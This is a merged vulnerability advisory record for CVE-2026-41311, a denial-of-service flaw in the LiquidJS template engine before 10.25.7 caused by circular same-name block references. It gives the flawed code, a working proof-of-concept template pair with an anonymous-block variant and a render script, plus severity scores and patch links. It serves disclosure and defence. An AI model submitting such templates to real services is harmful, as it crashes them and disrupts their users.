{"id":"CVE-2026-41311","aliases":["CVE-2026-41311","GHSA-4rc3-7j7w-m548"],"related":[],"kind":"vulnerability","state":"published","title":"LiquidJS is vulnerable to Denial of Service via circular block reference in layout","summary":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with `FATAL ERROR: JavaScript heap out of memory`. This allows any user who can submit a Liquid template to perform a Denial of Service attack.\n\n### Details\n\nIn `src/tags/block.ts`, during OUTPUT mode, each block looks up its render function from `ctx.getRegister('blocks')[this.block]`. When a block with name `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.\n\nRelevant code (`src/tags/block.ts`, `getBlockRender` method):\n\n```typescript\nprivate getBlockRender (ctx: Context) {\n  const { liquid, templates } = this\n  const renderChild = ctx.getRegister('blocks')[this.block]\n  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {\n    ctx.push({ block: superBlock })\n    yield liquid.renderer.renderTemplates(templates, ctx, emitter)\n    ctx.pop()\n  }\n  return renderChild\n    ? (superBlock: BlockDrop, emitter: Emitter) => renderChild(\n        new BlockDrop(\n          (emitter: Emitter) => renderCurrent(superBlock, emitter)\n        ),\n        emitter)\n    : renderCurrent\n}\n```\n\nWhen `renderChild` exists (same-name block found), it calls `renderChild` which re-renders templates containing the nested block, which again finds `renderChild`, and so on — infinite loop.\n\n### PoC\n\n**1. Create a layout file** (`layout.html`):\n\n```liquid\n<header>{% block a %}default-a{% endblock %}</header>\n<main>{% block b %}default-b{% endblock %}</main>\n<footer>{% block c %}default-c{% endblock %}</footer>\n```\n\n**2. Create a template that uses the layout:**\n\n```liquid\n{% layout \"layout\" %}\n{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}\n{% block b %}content-b{% endblock %}\n{% block c %}content-c{% endblock %}\n```\n\n**3. Render:**\n\n```javascript\nconst { Liquid } = require('liquidjs')\nconst liquid = new Liquid({ root: './', extname: '.html' })\nliquid.renderFile('template').then(console.log)\n// Result: process hangs, memory grows to ~4GB, then crashes with OOM\n```\n\nThe anonymous block variant also triggers the same issue:\n\n```liquid\n{% layout \"parent\" %}\n{%block%}A{%block%}B{%endblock%}{%endblock%}\n```\n\n### Impact\n\n**Denial of Service (DoS).** Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LiquidJS es un motor de plantillas compatible con Shopify / GitHub Pages en JavaScript puro. Antes de la versión 10.25.7, una referencia de bloque circular en {% layout %} / {% block %} causa un bucle recursivo infinito, consumiendo toda la memoria disponible (~4GB) y bloqueando el proceso de Node.js con FATAL ERROR: JavaScript heap out of memory. Esto permite a cualquier usuario que pueda enviar una plantilla Liquid realizar un ataque de denegación de servicio. Este problema ha sido parcheado en la versión 10.25.7.","source":"nvd"}],"published":"2026-04-24T15:34:00.000Z","modified":"2026-09-10T03:50:42.725Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-674"],"affected":[{"ranges":[{"version":"< 10.25.7","status":"affected"}],"vendor":"harttle","product":"liquidjs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"10.25.7"}],"ecosystem":"npm","package":"liquidjs","purl":"pkg:npm/liquidjs","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"10.25.7"}],"vendor":"liquidjs","product":"liquidjs","cpe":"cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.7","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41311","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-11T15:04:05.394Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41311","url":"https://www.cve.org/CVERecord?id=CVE-2026-41311","licence":"CVE Terms of Use","modified":"2026-05-11T15:04:09.635Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4rc3-7j7w-m548","url":"https://github.com/advisories/GHSA-4rc3-7j7w-m548","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:42.725Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41311","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:21.132Z","epss":{"score":0.00382,"percentile":0.34421,"date":"2026-12-01T12:00:22.000Z"}}